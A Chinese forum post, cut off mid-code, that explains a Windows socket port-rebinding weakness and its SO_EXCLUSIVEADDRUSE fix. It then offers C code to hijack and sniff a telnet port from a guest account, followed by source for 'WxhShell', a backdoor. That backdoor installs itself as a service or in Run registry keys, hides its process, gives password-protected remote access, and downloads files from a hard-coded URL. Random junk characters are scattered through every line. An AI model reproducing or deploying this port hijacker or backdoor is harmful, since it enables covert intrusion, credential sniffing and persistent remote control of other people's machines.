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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hhWIwR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U/}YpLgdD  
8! eYax   
  saddr.sin_family = AF_INET; K Q^CiX  
9UDanj P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^E~F,]dV=  
!aQb Kp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o-I:p$B-  
41uiW,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ":@\kw  
sU Er?TZ  
  这意味着什么?意味着可以进行如下的攻击: W_.WMbT  
.>#X*u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  svx7  
hraR:l D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L-)ZjXzk  
o3\^9-jmp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Y@k=m )zE  
KjF8T7%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z0'LD<  
=,qY\@fq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i&%dwqp  
u WdKG({][  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,VUOsNN4\  
3i4m!g5Z?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "A~D(1K  
@;{ZnRv14  
  #include _F4=+dT|  
  #include [ z/G  
  #include v6! `H  
  #include    CO@ kLI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   42,dHYdt  
  int main() O ]-8 %  
  { o"P)(;  
  WORD wVersionRequested; yOXEP  
  DWORD ret; L >hLYIW  
  WSADATA wsaData; FLkZZ\  
  BOOL val; xH,e$t#@@~  
  SOCKADDR_IN saddr; j!;E>`g  
  SOCKADDR_IN scaddr; 8-kR {9r  
  int err; +~,q"6  
  SOCKET s; @ IDY7x27  
  SOCKET sc; pV 8U`T  
  int caddsize; "Z&_*F.[O  
  HANDLE mt; _pvt,pW  
  DWORD tid;   k{|> !(Ax  
  wVersionRequested = MAKEWORD( 2, 2 ); C+t|fSJ  
  err = WSAStartup( wVersionRequested, &wsaData ); JLu$UR4  
  if ( err != 0 ) { Dd, &a  
  printf("error!WSAStartup failed!\n"); mT|r:Yr:  
  return -1; ?LvU7  
  } ]1h9:PF  
  saddr.sin_family = AF_INET; eE\T,u5:  
   + I*a=qjq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 *v14c%  
h{jm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dEX67rUj;  
  saddr.sin_port = htons(23); ~Xr[d07bC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ia{t/IX\[  
  { q8R,#\T*  
  printf("error!socket failed!\n"); 3fYfj  
  return -1; 5;XU6Rz!  
  } I.SMn,N  
  val = TRUE; .~^A!t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w-@6qMJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /P/0\3TCi  
  { {8%KO1xB  
  printf("error!setsockopt failed!\n"); *N6sxFs  
  return -1; 3YUF\L]yyw  
  } .H&XP W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,d^HAg^j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G%}k_vi&q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2@N-#x '  
DoICf1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |gT8QP  
  { ,,S 2>X*L  
  ret=GetLastError(); "b)EH/ s  
  printf("error!bind failed!\n"); F"23v G>3  
  return -1; Y%zWaH  
  } ,kFp%qNj  
  listen(s,2); nLrCy5R:  
  while(1) N6*FlG-  
  { _vAc/_ N  
  caddsize = sizeof(scaddr); 2';{o=TXV  
  //接受连接请求 UzV78^:,iD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4P7r\ hs  
  if(sc!=INVALID_SOCKET) JM*!(\Y  
  { * COC&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <?Z]h]C^o  
  if(mt==NULL) I&% Z*H  
  { t7e7q"+/  
  printf("Thread Creat Failed!\n"); ^=gN >xP  
  break; v++&%  
  } pqohLA  
  } |NWHZo  
  CloseHandle(mt); 1T4#+kW&  
  } +z~bH!$2  
  closesocket(s); 'XOWSx;Y  
  WSACleanup(); -O $!sFmY  
  return 0; +'[/eW  
  }   m`tX&K#-  
  DWORD WINAPI ClientThread(LPVOID lpParam) z)u\(W*\iA  
  { .k,,PuP  
  SOCKET ss = (SOCKET)lpParam; !R[~Z7b6  
  SOCKET sc; ]r\!Z <<(  
  unsigned char buf[4096]; /.t1Ow  
  SOCKADDR_IN saddr; AO(z l*4  
  long num; jK{qw  
  DWORD val; -6e^`c6{  
  DWORD ret; ;O<-4$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {WTy/$ Qk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2~yj =D27Z  
  saddr.sin_family = AF_INET; {}H/N   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wo5%@C#M  
  saddr.sin_port = htons(23); NE| Q0g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NLt"yD3t  
  { E<@N4%K_Q  
  printf("error!socket failed!\n"); ?kF? ~\c  
  return -1; @z`eqG,']  
  } [|\#cVWs  
  val = 100; HNLr} Yj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w8`B}Dr23  
  { CF : !  
  ret = GetLastError(); blkPsp)m"  
  return -1; PlwM3lrj  
  } I |"'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qve5qJ  
  { ~ ^fb`f+%  
  ret = GetLastError(); UQbk%K2  
  return -1; CQ7NQ^3k  
  } _.I58r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #JN4K>_4  
  { XQ8q)B=  
  printf("error!socket connect failed!\n"); X(Z(cY(  
  closesocket(sc); 28 zZ3|Z3  
  closesocket(ss); xxld.j6  
  return -1; qI<c47d;q  
  } ST,+]p3L(  
  while(1) .eyJ<b9  
  {  %\~U>3Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gLK0L%"5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q /t_% vb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e{^^u$C1.e  
  num = recv(ss,buf,4096,0);  SWyJ`  
  if(num>0) imB/P M  
  send(sc,buf,num,0); ? ?("0U  
  else if(num==0) 1-Dw-./N  
  break; ;J:*r0  
  num = recv(sc,buf,4096,0); \C{Zqo,  
  if(num>0) f+\UVq?  
  send(ss,buf,num,0); +{#Z^y6&  
  else if(num==0) _nSEp >]L  
  break; tTh4L8fO  
  } 9WV8ZP  
  closesocket(ss); 4M+f#b1  
  closesocket(sc); ?8;WP&  
  return 0 ; *^CN2tm  
  } nswhYSX  
3sDyB-\&  
;vn0b"Fi3  
========================================================== ]Rxrt~ ZB  
7p>T6jK)  
下边附上一个代码,,WXhSHELL ,uO_C(G/i  
-OnKvpeI  
========================================================== _Ih"*~ r/&  
{\|XuCF#  
#include "stdafx.h" 8?|W-rN  
=5uhIU0O  
#include <stdio.h> Cu<' b'%;  
#include <string.h> 6z'0fi|EN  
#include <windows.h> v?n# C  
#include <winsock2.h> 2X(2O':Uc  
#include <winsvc.h> &vQ5+  
#include <urlmon.h> l_,6<wWp  
J?tnS6V  
#pragma comment (lib, "Ws2_32.lib") 4w]<1V  
#pragma comment (lib, "urlmon.lib") )Lk2tvr  
Cv p#=x0  
#define MAX_USER   100 // 最大客户端连接数 ZVit] 3hd  
#define BUF_SOCK   200 // sock buffer 1f?Fuw  
#define KEY_BUFF   255 // 输入 buffer  UF@.  
;Rm';IW$  
#define REBOOT     0   // 重启 n7zM;@{7  
#define SHUTDOWN   1   // 关机 )QmmI[,tq  
 Bgai|l  
#define DEF_PORT   5000 // 监听端口 [g{fz3 O6  
OT"jV  
#define REG_LEN     16   // 注册表键长度 `V.tqZF  
#define SVC_LEN     80   // NT服务名长度 wzZ]| C(vp  
0rif,{"  
// 从dll定义API `wSoa#U"@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ucbtPTFYvr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M3dUGM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uVXn/B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w2^s}NO  
dkg+_V!  
// wxhshell配置信息 ?Qts2kae#  
struct WSCFG { ,eL&Ner  
  int ws_port;         // 监听端口 er>{#8 P  
  char ws_passstr[REG_LEN]; // 口令 Cq-99@&;  
  int ws_autoins;       // 安装标记, 1=yes 0=no [G[{?{  
  char ws_regname[REG_LEN]; // 注册表键名 7JY9#+?p>  
  char ws_svcname[REG_LEN]; // 服务名 $-E<{   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UY:Be8C A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +RK/u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r 2{7h>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H/*i-%]v+(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v v   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -7EwZRS@9  
4&6cDig7*2  
}; 5F :\U  
_sHeB7K  
// default Wxhshell configuration <FN +  
struct WSCFG wscfg={DEF_PORT, Z(J 1A x  
    "xuhuanlingzhe", w}29#F\]R  
    1, C?\HB#41  
    "Wxhshell", ~fO#En  
    "Wxhshell", N0ZD+  
            "WxhShell Service", 6\)u\m`7-l  
    "Wrsky Windows CmdShell Service", Fo]]j=  
    "Please Input Your Password: ", I."s&]FZ  
  1, QKoJxjR=^  
  "http://www.wrsky.com/wxhshell.exe", y!j>_m){w  
  "Wxhshell.exe" 6-nf+!#G  
    }; sr:hR Q27  
;[|+tO_  
// 消息定义模块 |J ^I8gx+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wx8;+!2Q/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WkoYkkuzj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :vC+}.{p  
char *msg_ws_ext="\n\rExit."; a$LoQ<f_  
char *msg_ws_end="\n\rQuit."; Qb:.WMj[q+  
char *msg_ws_boot="\n\rReboot..."; 8JO(P0aT  
char *msg_ws_poff="\n\rShutdown..."; ==bT0-M.~  
char *msg_ws_down="\n\rSave to "; 73!])!SVI  
t 9_&n.z  
char *msg_ws_err="\n\rErr!"; FWS!b!#,N  
char *msg_ws_ok="\n\rOK!"; L_IvR 4:j~  
z}p*";)A  
char ExeFile[MAX_PATH]; |@)jS.Bn  
int nUser = 0; W#9LK Jj  
HANDLE handles[MAX_USER]; `1R[J4e  
int OsIsNt; P{8<U8E  
UD5f+,_;  
SERVICE_STATUS       serviceStatus; ZXWm?9uw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C,{ Ekbg  
oMN Qv%U  
// 函数声明 hud'@O"R+  
int Install(void); 3d_g@x#9  
int Uninstall(void); 5eas^Rm  
int DownloadFile(char *sURL, SOCKET wsh); (HeIO  
int Boot(int flag); YMn=9EUp  
void HideProc(void); 4Y@q.QP  
int GetOsVer(void); rrZ'Dz  
int Wxhshell(SOCKET wsl); Zb~G&. 2g  
void TalkWithClient(void *cs); m] @o1J  
int CmdShell(SOCKET sock); Ak2Vf0Eb  
int StartFromService(void); LeMo")dk\  
int StartWxhshell(LPSTR lpCmdLine); 'ExQG$t  
e\]CZ5hs3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <P c;8[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a3BlydSlf  
 ~&_BT`a  
// 数据结构和表定义 QWK\6  
SERVICE_TABLE_ENTRY DispatchTable[] = jiLt *>I  
{ TK%MVLTK  
{wscfg.ws_svcname, NTServiceMain}, g0RfvR  
{NULL, NULL} "ODs.m oq  
}; Eb\SK"8  
w Yr M2X@  
// 自我安装 HQ3kxOT  
int Install(void) %>:d5"&Lbs  
{ z)p p{  
  char svExeFile[MAX_PATH]; `~ R%}ID  
  HKEY key; :FI 4GR*?  
  strcpy(svExeFile,ExeFile);  <:`x> _  
ZN(@M@}  
// 如果是win9x系统,修改注册表设为自启动 C.{z+  
if(!OsIsNt) { WR4\dsgCU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,"4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Z_?r5M;  
  RegCloseKey(key); 3 e<sNU?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \-)augq([  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KEvT."t  
  RegCloseKey(key); %%k`+nK~  
  return 0; HVcd< :g0  
    } n4Eqm33  
  } KN zm)O  
} $~2qEe.h  
else { Nn|~ :9#  
28PT1 9&  
// 如果是NT以上系统,安装为系统服务 `$N AK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); twJ)h :!_y  
if (schSCManager!=0) @K.[;-;g  
{ =lqGt.x  
  SC_HANDLE schService = CreateService 3_+$x 4%  
  ( 3 ~^}R  
  schSCManager, xk8P4`;d$  
  wscfg.ws_svcname, *%xmCP J  
  wscfg.ws_svcdisp, fu?Y'Qet  
  SERVICE_ALL_ACCESS, Z'L}x6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EBPm7{&0|  
  SERVICE_AUTO_START, y9L:2f\  
  SERVICE_ERROR_NORMAL, H{3A6fb<  
  svExeFile, L|[ 0&u!  
  NULL, :TzHI    
  NULL, RtVG6'Y  
  NULL, <kr%ylhIu  
  NULL, !mLY W  
  NULL ]MXeWS(  
  ); Dk XB  
  if (schService!=0) %}asw/WiUa  
  { Q(Dp116  
  CloseServiceHandle(schService); .oFkx*Ln  
  CloseServiceHandle(schSCManager); ~L.)<{?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OJ:iQ  
  strcat(svExeFile,wscfg.ws_svcname); Z@I.socA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /HmD/E\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |tU4(hC  
  RegCloseKey(key); 7TjK;w7xS.  
  return 0; b{o%`B*  
    } x !o>zT\  
  } D20n'>ddg  
  CloseServiceHandle(schSCManager);  D|[~Py  
} yF}l.>7D  
} i|5K4Puu  
cDS6RO?  
return 1; 4M&6q(389  
} SBY  
{Y! -]_ 5  
// 自我卸载 |3?qL  
int Uninstall(void) )(|+z'  
{ OJUH".o  
  HKEY key; H *gF>1  
)h0F'MzW  
if(!OsIsNt) { /pvR-Id|6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8uR4ZE*  
  RegDeleteValue(key,wscfg.ws_regname); Ub8|x]ix  
  RegCloseKey(key); 8%s_~Yc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZCZYgf@  
  RegDeleteValue(key,wscfg.ws_regname); u[_~ !y  
  RegCloseKey(key); {%K(O$H#  
  return 0; 3rEBG0cf]  
  } xA-O?s"CY  
} fCL5Et  
} u:Q_XXT5  
else { -o\r]24  
{]aB3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (#WE9~Sru  
if (schSCManager!=0) {"dU?/d  
{ ).0h4oHSj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Qu)JR  
  if (schService!=0) #TLqo(/  
  { MX-(;H  
  if(DeleteService(schService)!=0) { jjgjeY  
  CloseServiceHandle(schService); -t, .A/?  
  CloseServiceHandle(schSCManager); <6=kwV6  
  return 0; HY.?? 5MH  
  } _h4{Sx  
  CloseServiceHandle(schService); SbmakNWJ}  
  } ;Zb+WGyj  
  CloseServiceHandle(schSCManager); Hf ]aA_:   
} A`|OPi)  
} 6>! ;g'k  
Y4Hi<JWo  
return 1; 9|Cu2  
} J;pn5k~3  
d>z?JD t  
// 从指定url下载文件 `Z*k M VN  
int DownloadFile(char *sURL, SOCKET wsh) zT[[WY4  
{ 4@D 8{?$~Q  
  HRESULT hr; H]5%"(h  
char seps[]= "/"; >y%*HC!G  
char *token; kK]JN  
char *file; ?:(BkY,K5  
char myURL[MAX_PATH]; tH0=ysf  
char myFILE[MAX_PATH]; u%FG% j?C  
5UE5;yo  
strcpy(myURL,sURL); c0v;r4Jo#j  
  token=strtok(myURL,seps); FI1R7A  
  while(token!=NULL) -7:J#T/\  
  { 4-@D`,3L  
    file=token; 9ZjSM,+  
  token=strtok(NULL,seps); U$R+&@;  
  } [,s{/OM  
sfSM7f  
GetCurrentDirectory(MAX_PATH,myFILE); gbOd(ugH  
strcat(myFILE, "\\"); ;EZ$8|  
strcat(myFILE, file); +Z0@z^6\  
  send(wsh,myFILE,strlen(myFILE),0); <^?64  
send(wsh,"...",3,0); HCHZB*r[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KlbL<9P >  
  if(hr==S_OK) &]gw[ `  
return 0; TY[{)aH{S  
else ^;0.P)yGA  
return 1; hC@oyC(4  
n5i#GvO^  
} uop|8n1  
*6%!i7kr  
// 系统电源模块 -g'[1  
int Boot(int flag) (Hqy^EOZ  
{ W)^0~[`i  
  HANDLE hToken; 5tMp@$F\{[  
  TOKEN_PRIVILEGES tkp; HE0UcP1U  
SXn\k;F<  
  if(OsIsNt) { c`w YQUg(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]t-_.E )F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )8Defuxk  
    tkp.PrivilegeCount = 1; Iuk!A?XV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y21zaQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bi?+e~R  
if(flag==REBOOT) { MM8r*T4g/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )0Av:eF-+  
  return 0; 4%/iu)nx  
} I_s4Pf[l  
else { L=W8Q8hf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FZTBvdUYp  
  return 0; iXpLcHi  
} :=u Ku'~  
  } _h1n]@ d5  
  else { lI HSy  
if(flag==REBOOT) { bgs2~50  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ).HYW _Yih  
  return 0; sV{M#UF2  
} ni$7)YcF  
else { (orO=gST-/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _l}"gUtiw  
  return 0; `[vm{+i  
} X2PQL"`  
} /I@nPH<y  
)r _zM~jI  
return 1; |ho|Kl `=  
} 4#H~g @  
(~t/8!7N  
// win9x进程隐藏模块 Bd8,~8  
void HideProc(void) *gHGi(U(U  
{ 1RC(T{\x  
>% a^;gk(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?ysC7 ((  
  if ( hKernel != NULL ) )sg@HFhY'  
  { }$-;P=k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G5~ Jp#uA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "_Wv,CYmNr  
    FreeLibrary(hKernel); 9(`d h  
  } L' w }  
 h"<-^=b  
return; Cf#[E~24  
} 5[\mwUA  
8:V:^`KaSs  
// 获取操作系统版本 f"emH  
int GetOsVer(void) $ K>.|\  
{ fN4d^0&  
  OSVERSIONINFO winfo; 5e^t;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \OMWE/qMy  
  GetVersionEx(&winfo); JY4sB8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MpZ #  
  return 1; f=%k9Y*)  
  else O=c^Ak   
  return 0; ~Dsz9  f  
} gc|?$aE  
"p<B|  
// 客户端句柄模块 %hcn|-" F  
int Wxhshell(SOCKET wsl) iXl6XwWT%8  
{ A1{ 7g<k6  
  SOCKET wsh; :_R[@?c  
  struct sockaddr_in client; u_+64c_7  
  DWORD myID; pJ*x[y  
x^_(gve:  
  while(nUser<MAX_USER) . e' vc  
{ %W!C  
  int nSize=sizeof(client); nqX)+{wAXe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d^5OB8t  
  if(wsh==INVALID_SOCKET) return 1; 1_}* aQ  
NY.Y=CF("  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t;ZA}>/  
if(handles[nUser]==0) y_bb//IAG  
  closesocket(wsh); p-d2HXo  
else pF~[  
  nUser++; .GG6wL<$?  
  } Q2wEt >0a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }:NE  
~y@,d  
  return 0; EjZ_|Q  
} ? OrRTRW  
di^E8egR$  
// 关闭 socket Eg&oAY.U  
void CloseIt(SOCKET wsh) eJWcrVpn  
{ m0XdIC]s  
closesocket(wsh); Gn}G$uk61  
nUser--; GabY xYK  
ExitThread(0); :by EXe;3  
} E3IB> f  
G[34:J  
// 客户端请求句柄 Q a(>$.h  
void TalkWithClient(void *cs) ";:"p6?  
{ !j"r}c`  
TFrZ+CcWp2  
  SOCKET wsh=(SOCKET)cs; N7/eF9  
  char pwd[SVC_LEN]; _T,X z_  
  char cmd[KEY_BUFF]; ["N{6d&Q  
char chr[1]; GEJEhwO;H  
int i,j; |8xu*dVAp4  
\>}G|yL  
  while (nUser < MAX_USER) { J!l/!Z>!cF  
zT;F4_p3G-  
if(wscfg.ws_passstr) { 5v&mK 5zZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ko-:) z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & ,KxE(C  
  //ZeroMemory(pwd,KEY_BUFF); BT?)-wS  
      i=0; JA .J~3  
  while(i<SVC_LEN) { GwHp@_>  
KHK|Zu#k '  
  // 设置超时 .W>LsEk  
  fd_set FdRead; rlQ4+~  
  struct timeval TimeOut; 2(5HPRQ  
  FD_ZERO(&FdRead); y _Mte  
  FD_SET(wsh,&FdRead); 1trk  
  TimeOut.tv_sec=8; Xi^#F;@sU  
  TimeOut.tv_usec=0; Ni"M.O);t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u$A*Vsmr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3zV{cm0  
5W UM"eBwL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ne6]?\Z  
  pwd=chr[0]; V/ a!&_ ""  
  if(chr[0]==0xd || chr[0]==0xa) { s\7]"3:wD  
  pwd=0; f$\gm+&hXE  
  break; uif1)y`Q$C  
  } })zYo 7  
  i++; 3bMQ[G  
    } D_n(T ')  
S"*M9*8  
  // 如果是非法用户,关闭 socket /hx|KC&:e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @j|B1:O  
} VR/*h%  
p3sR>ToJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -+#QZ7b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }]i re2j8  
$-tgd<2h  
while(1) { ynWF Y<VX  
r`t|}m  
  ZeroMemory(cmd,KEY_BUFF); ENmfbJ4d~  
_[eAA4h  
      // 自动支持客户端 telnet标准   ?3X(`:KB  
  j=0; H <gC{:S  
  while(j<KEY_BUFF) { n/>^!S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .BaU}-5  
  cmd[j]=chr[0]; /FP;Hsw%  
  if(chr[0]==0xa || chr[0]==0xd) { sBsf{%I[{  
  cmd[j]=0; %xa.{`}`U  
  break; Xm#E99  
  } )#NT*@j`  
  j++; O.ce"5Y^  
    } BCrX>Pp }r  
gj\'1(Ju  
  // 下载文件 V3^=Mj2"  
  if(strstr(cmd,"http://")) { J\WUBt-M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dKKh^D`~  
  if(DownloadFile(cmd,wsh)) fR:BF47  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2HxT+|~d6  
  else qHAZ)Tz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1;e"3x"  
  } IvW%n(a8^  
  else { N2 vA/  
7W{xK'|]  
    switch(cmd[0]) { %[l*:05  
  ~^6[SbVb  
  // 帮助 hkK+BmMj\  
  case '?': { ]bPj%sb*@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MS_@ Xe  
    break; 2 /rDi  
  } ? iX1;c9  
  // 安装 yB>5p]$P  
  case 'i': { (%i)A$i6a  
    if(Install()) )]\?Yyg]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13:yaRo  
    else DE0gd ux8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 |@WuD  
    break; 't3@dz_dG  
    } yq?7!X  
  // 卸载 J?Ed^B-  
  case 'r': { Fj0a+r,h!  
    if(Uninstall()) B/iRR2h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4yk!T  
    else (Wj2%*NT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T:/68b*H\:  
    break; X_j=u1*5  
    } FMuakCic5  
  // 显示 wxhshell 所在路径 g^CAT1}  
  case 'p': { @V9qbr= Z  
    char svExeFile[MAX_PATH]; K2W$I H:.  
    strcpy(svExeFile,"\n\r"); B\/"$"  
      strcat(svExeFile,ExeFile); .g|D  
        send(wsh,svExeFile,strlen(svExeFile),0); !Q`vOVSUD  
    break; Kb<^Wdy4T  
    } x vi&d1  
  // 重启 yf2I%\p}  
  case 'b': { w""5T|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BUuU#e5  
    if(Boot(REBOOT)) @iW^OVpp<8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rm-6Az V  
    else { 4. &t  
    closesocket(wsh); v4:g*MD?~  
    ExitThread(0); aCL_cVOMR  
    } #4WA2EW  
    break; p|W <xFk  
    } [jOvy>2K]  
  // 关机 8?n6\cF  
  case 'd': { }]qx "  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qx_K)  
